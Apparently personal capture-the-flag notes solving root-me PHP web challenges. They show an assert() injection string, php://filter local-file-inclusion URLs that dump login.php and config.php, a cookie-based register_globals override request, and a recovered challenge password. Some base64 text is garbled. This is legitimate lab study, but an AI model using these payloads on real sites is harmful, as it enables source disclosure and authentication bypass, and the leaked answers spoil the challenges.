PHP

Challenges

- Hackthebox Challenge: Web: Grammar --> PHP type juggling
- **PHP assert**: https://www.root-me.org/en/Challenges/Web-Server/PHP-assert strpos('a','x') ===true or /*Injected code*/; strpos(''+',php', '..') === false
- PHP Filters: https://www.root-me.org/en/Challenges/Web-Server/PHP-filters

http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20and%20understanding%20PHP%20streams%20and%20filters.pdf

using php filter we display the result in base64 format and then when we get it we decode it

php://filter/convert.base64-encode/resource=home

example : http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php://
filter/convert.base64-encode/resource=home

we use this payload from the cheat sheet

http://challenge01.root-me.org/web-serveur/ch12/?inc=**php://filter**/convert.base64encode/resource=login.php

now we get the login page without processing the php in it

PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocClpOwoKaWYgKCBpc3NldCgkX1BPU1RblnVz ZXJuYW1lll0plCYmlGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKlCAglGlmlCgkX1BPU 1RblnVzZXJuYW1lll09PSR1c2VybmFtZSAmJiAkX1BPU1RblnBhc3N3b3Jkll09PSRwYXNzd 29yZCl7CiAglCAglHByaW50KCl8aDI+V2VsY29tZSBiYWNrlCE8L2gyPilpOwoglCAglCBwc mludCgiVG8gdmFsaWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxi ci8+PGJyLz4iKTsKlCAglH0gZWxzZSB7CiAglCAglHByaW50KCl8aDM+RXJyb3lgOiBubyB zdWNolHVzZXlvcGFzc3dvcmQ8L2gyPjxiciAvPilpOwoglCAgfQp9lGVsc2Ugewo/PgoKPGZvcm0gYWN0aW9uPSlilG1ldGhvZD0icG9zdCl+CiAgTG9naW4mbmJzcDs8YnlvP goglDxpbnB1dCB0eXBlPSJ0ZXh0liBuYW1lPSJ1c2VybmFtZSlgLz48YnlvPjxici8+CiAgUGF zc3dvcmQmbmJzcDs8YnlvPgoglDxpbnB1dCB0eXBlPSJwYXNzd29yZClgbmFtZT0icGFzc 3dvcmQilC8+PGJyLz48YnlvPgoglDxici8+PGJyLz4KlCA8aW5wdXQgdHlwZT0ic3VibWl0li B2YWx1ZT0iY29ubmVjdClgLz48YnlvPjxici8+CjwvZm9ybT4KCjw/cGhwlH0gPz4=

decode base64 from burp or online

```
<?php
include("config.php");

if (isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
        print("<h2>Welcome back !</h2>");
        print("To validate the challenge use this password<br/>br/>");
    } else {
        print("<h3>Error : no such user/password</h2><br/>");
    }
} else {
?>
```

```
<form action="" method="post">
   Login <br/>
   <input type="text" name="username" /><br/>
   Password <br/>
   <input type="password" name="password" /><br/><br/>
   <br/><br/>
   <input type="submit" value="connect" /><br/><br/>
  </form>
  <?php } ?>
  do same with config .php
  http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-
  encode/resource=config.php
  PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9lkRBUHQ5RDJta3kwQVB
  BRiI7Cgo/Pg==
  <?php
  $username="admin";
  $password="DAPt9D2mky0APAF";
- PHP - register globals : <a href="https://www.root-me.org/en/Challenges/Web-Server/PHP-">https://www.root-me.org/en/Challenges/Web-Server/PHP-</a>
  register-globals
  first we know that there is a backup file
  we download
  http://challenge01.root-me.org/web-serveur/ch17/index.html.bak
  we notice that the code compares hidden_password to password we passed
  we can overide this hidden password
  POST /web-serveur/ch17/ HTTP/1.1
  Host: challenge01.root-me.org
  Content-Length: 13
  Cache-Control: max-age=0
  Origin: http://challenge01.root-me.org
  Upgrade-Insecure-Requests: 1
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
  apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://challenge01.root-me.org/web-serveur/ch17/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,ar;q=0.8
  Cookie: PHPSESSID=fp82cd7757e3raq4ogqcj3usf0; hidden_password=1234
```

now refresh the page to get the original value since your session is now logged in

Connection: close password=1234